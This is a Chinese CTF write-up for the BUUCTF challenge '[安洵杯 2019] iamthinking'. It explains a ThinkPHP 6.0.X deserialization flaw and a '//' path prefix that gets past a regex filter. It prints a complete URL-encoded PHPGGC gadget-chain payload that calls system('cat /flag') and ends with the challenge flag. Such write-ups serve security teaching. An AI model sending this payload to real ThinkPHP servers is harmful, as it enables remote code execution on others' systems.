文章总结： 本文为BUUCTF平台安洵杯2019年iamthinking题目的WriteUp，核心漏洞为ThinkPHP6.0.X反序列化导致RCE。通过preg_match过滤以O开头的参数值，利用在Payload前加//注释符绕过正则，使用PHPGGC生成Payload执行系统命令获取flag。文章提供完整利用链与Payload，对CTF解题和ThinkPHP反序列化漏洞研究具有参考价值。 综合评分： 75 文章分类： CTF,WEB安全,代码审计,漏洞分析

buuctf WEB [安洵杯 2019]iamthinking writeup

原创

长弓三皮 长弓三皮

长弓三皮

2026年9月23日 08:08 湖南

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

随波逐流工作室—-探索前沿科技，分享最新软件。点击标题下蓝字“长弓三皮”关注，我们将为您提供有深度、有价值、有意思的阅读。

朋友们，现在只对常读和星标的公众号才展示大图推送，建议大家把长弓三皮“设为星标”，否则可能就看不到了啦！

作者：随波逐流

buuctf WEB

随波逐流

WriteUp

打开 [随波逐流]WEB安全工具访问

随波逐流WEB安全工具–工具–目录深度扫描

核心代码在app/controller/Index.php：

随波逐流WEB安全工具–工具–代码安全审计

1、环境：ThinkPHP 6.0.X + PHP 7.2.25；

2、漏洞点：unserialize($payload)，

3、preg_match(“/^O/i”,$value)，过滤“以O开头的参数值”；

4、绕过思路：在Payload前加//（PHP注释符），让正则匹配不到^O；

用PHPGGC生成ThinkPHP 6.0的RCE Payload

随波逐流WEB安全工具–工具–PHP反序列化

O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A3%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A9%3A%22cat%20%2Fflag%22%3B%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A3%3A%22key%22%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A6%3A%22%00%2A%00key%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22anything%22%3B%7D%7D

///public/?payload=O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A3%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A9%3A%22cat%20%2Fflag%22%3B%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A3%3A%22key%22%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A6%3A%22%00%2A%00key%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22anything%22%3B%7D%7D

CTF2{6f943d22-c2b1-4cbf-930a-175c4f9f1859}

公众号内输入

搜索公众号+题目标题

可搜索到此文章

软件发布网址： 随波逐流信息安全网

http://www.1o1o.xyz

微信公众号：长弓三皮

你若喜欢，为“长弓三皮”点个赞和在看哦 

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：长弓三皮 长弓三皮 长弓三皮《buuctf WEB [安洵杯 2019]iamthinking writeup》